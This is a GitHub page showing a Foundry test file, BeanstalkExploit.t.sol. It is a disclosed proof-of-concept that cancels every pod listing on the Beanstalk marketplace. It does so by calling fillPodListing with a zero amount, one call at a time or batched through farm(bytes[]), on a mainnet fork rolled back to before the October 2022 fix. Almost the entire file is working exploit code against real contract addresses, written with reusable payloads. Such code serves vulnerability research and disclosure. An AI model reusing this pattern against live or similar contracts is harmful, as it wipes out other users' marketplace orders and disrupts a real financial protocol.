-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathBeanstalkExploit.t.sol
More file actions
363 lines (290 loc) · 11.1 KB
/
Copy pathBeanstalkExploit.t.sol
File metadata and controls
363 lines (290 loc) · 11.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
// SPDX-License-Identifier: MIT
// Author: Nitesh Dhanjani
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/IERC20.sol";
import "lib/openzeppelin-contracts/contracts/utils/Strings.sol";
//needs fs_permissions = [{ access = "read", path = "./listings.json"}]
//this vulnerability was submitted to Beanstalk at October 23, 2022
//the result is that all orders on the marketplace are cancelled
//see repo for details
//and it was fixed October 25, 2022 (therefore, the code has been modified to roll back to block 15827454 )
//fix: https://etherscan.io/tx/0xcdefd8f7b9a16595c6d56922286c92c89869101230f5d48ceeb47f92a469c516
//exploit test cases to cancell all orders in Beanstalk marketplace
//uses hard coded payloads to make it easy to print raw payload data
//to use with other simulation tools
struct jsonListing {
address account;
uint256 amount;
uint256 index;
uint256 maxHarvestableIndex;
uint8 mode;
uint24 pricePerPod;
uint256 start;
}
struct jsonListingTemp {
address account;
string amount;
string index;
string maxHarvestableIndex;
string mode;
string pricePerPod;
string start;
}
struct PodListing {
address account;
uint256 index;
uint256 start;
uint256 amount;
uint24 pricePerPod;
uint256 maxHarvestableIndex;
uint8 mode;
}
library LibTransfer {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
}
interface IBeanstalk {
function harvestableIndex() external returns (uint256);
function transferToken(
IERC20 token,
address recipient,
uint256 amount,
LibTransfer.From fromMode,
LibTransfer.To toMode
) external payable;
}
contract BeanstalkExploit is Test {
using stdJson for string;
bool result;
bool loaded = false;
jsonListing[] jsonmain;
uint256 nonZeroStarts = 0;
IERC20 beans = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
address beanstalkaddress = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
IBeanstalk beanstalk = IBeanstalk(beanstalkaddress);
uint256 p_key = 1;
address myaddress;
uint256 x = 0;
uint256 roll_to = 15827454;
function setUp() public {
myaddress = vm.addr(p_key);
vm.rollFork(roll_to); //to a block prior to the fix
}
//this will cancel all listings using a for loop and sending
//a transaction each for evert listing
function testCancelAllLoop() public {
cancelAll(false);
}
//this will cancel all listings by collecting all the fillPodListing
//payloads into bytes[] and execute via farm(bytes[])
function testCancelAllFarm() public {
cancelAll(true);
}
//note in foundry the test will 'pass' if it 'reverts' when the
//Fail keyword is used, illustrating our assumptions are true
//that cancell all listings will fail if it includes a purchased
//item
function testFailBuyListingBeforeCancelAll() public {
loadAllListings();
//buy the listing [2] with some BEANS
console2.log("Buying first, cancelAll should fail ie [PASS]");
purchaseIt(2, false);
//cancelAll should revert at 3rd listing
//since it contains an entry we cancelled
//not using farm() since the trace per transction is useful
cancelAll(false);
}
function testFailBuyListingAfterCancelAll() public {
loadAllListings();
//not using farm() since the trace per transction is useful
cancelAll(false);
//buy the listing [2] with some BEANS
//should fail since all orders are cancelled!
//so our test will 'pass'
console2.log(
"\nbuying after cancelling via exploit, should fail ie [PASS]"
);
purchaseIt(2, false);
}
function cancelAll(bool usefarm) internal {
loadAllListings();
uint256 i = 0;
uint256 j = 0;
uint256 counter = 0;
//we calculate size for farmpayloads by adding the amount of orders
//to the amount of orders that did not have start=0 (counter nonZeroStarts
//captured by loadAllListings(). This is because for the start!=0 listings,
//there is a new order creaed where start=0, so we want to call
//fillPodListing() on them again to truly cancel them
bytes[] memory farmpayloads = new bytes[](
jsonmain.length + nonZeroStarts
);
bytes memory mypayload;
PodListing memory purchaselisting;
//go through all the listings and cancel them
for (i = 0; i < jsonmain.length; i++) {
purchaselisting = PodListing(
jsonmain[i].account,
jsonmain[i].index,
jsonmain[i].start,
jsonmain[i].amount,
jsonmain[i].pricePerPod,
jsonmain[i].maxHarvestableIndex,
jsonmain[i].mode
);
mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
0,
LibTransfer.From.INTERNAL_TOLERANT
);
if (usefarm == true) {
farmpayloads[i] = mypayload;
} else {
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
counter++;
//fillPodListing one more time for order that did not have start=0
if (purchaselisting.start != 0) {
purchaselisting.index =
purchaselisting.index +
purchaselisting.start;
purchaselisting.start = 0;
jsonmain[i].index = purchaselisting.index;
jsonmain[i].start = 0;
mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
0,
LibTransfer.From.INTERNAL_TOLERANT
);
if (usefarm == true) {
farmpayloads[jsonmain.length + j] = mypayload;
} else {
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
counter++;
j++;
}
//break;
}
//cancel order through bytes[] paylaod send via farm(bytes[])
if (usefarm == true) {
mypayload = abi.encodeWithSignature("farm(bytes[])", farmpayloads);
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
console2.log("Total Listings cancelled:", i);
console2.log("Listings with start!=0", j);
console2.log("Total times fillPodListing() called", counter);
}
//fetch all listings from https://graph.node.bean.money/subgraphs/name/beanstalk
//and have them loded into jsonmain[]
//the graphql endpoint is convenient, but of course, not a dependency for the
//attacker. alternatively, the attacker can listen for events and collect it
//or leverage services like dune.com
function loadAllListings() internal {
if (loaded == true) return;
loaded = true;
uint256 maxindex = beanstalk.harvestableIndex();
string[] memory inputs = new string[](3);
inputs[0] = "node";
inputs[1] = "listings.js";
inputs[2] = Strings.toString(maxindex);
//comment and diable vm.ffi below if you have a ./listings.json
//and don't want to fetch again
//disabled since the issue is fixed, need local file (./listings.json) of past listings for this to work now
//vm.ffi(inputs);
string memory jsonfile = vm.readFile("./listings.json");
bytes memory json = vm.parseJson(jsonfile);
jsonListingTemp[] memory jsontemp;
jsontemp = abi.decode(json, (jsonListingTemp[]));
//from memory to storage ie from jsontemp (memory)
//to jsonmain[] so other functions can continue to leverage
//loaded listings
for (uint256 i = 0; i < jsontemp.length; i++) {
jsonListing storage t = jsonmain.push();
t.account = jsontemp[i].account;
t.amount = strToUint(jsontemp[i].amount);
t.index = strToUint(jsontemp[i].index);
t.maxHarvestableIndex = strToUint(jsontemp[i].maxHarvestableIndex);
t.mode = uint8(strToUint(jsontemp[i].mode));
t.pricePerPod = uint24(strToUint(jsontemp[i].pricePerPod));
t.start = strToUint(jsontemp[i].start);
if (t.start != 0) nonZeroStarts++;
}
}
function purchaseIt(uint256 index, bool zero) internal {
vm.startPrank(myaddress);
loadAllListings();
PodListing memory purchaselisting = PodListing(
jsonmain[index].account,
jsonmain[index].index,
jsonmain[index].start,
jsonmain[index].amount,
jsonmain[index].pricePerPod,
jsonmain[index].maxHarvestableIndex,
jsonmain[index].mode
);
if (zero == false) {
//built in deal() doesn't work on bean beacuse of
//internal accounting so we will just get it from
//the main contract instead
vm.stopPrank();
//from https://etherscan.io/token/0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab#balances
address tokenholder = 0x40Da1406EeB71083290e2e068926F5FC8D8e0264;
vm.startPrank(tokenholder);
beanstalk.transferToken(
beans,
myaddress,
beans.balanceOf(tokenholder),
LibTransfer.From.EXTERNAL,
LibTransfer.To.EXTERNAL
);
vm.stopPrank();
vm.startPrank(myaddress);
beans.approve(beanstalkaddress, 2**256 - 1);
}
bytes memory mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
beans.balanceOf(myaddress),
LibTransfer.From.EXTERNAL_INTERNAL
);
//console2.log(vm.toString(mypayload));
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
vm.stopPrank();
}
function strToUint(string memory _str) public pure returns (uint256 res) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10**(bytes(_str).length - i - 1);
}
return (res);
}
receive() external payable {
//console2.log("receive");
}
fallback() external payable {
//console2.log("fallback");
}
}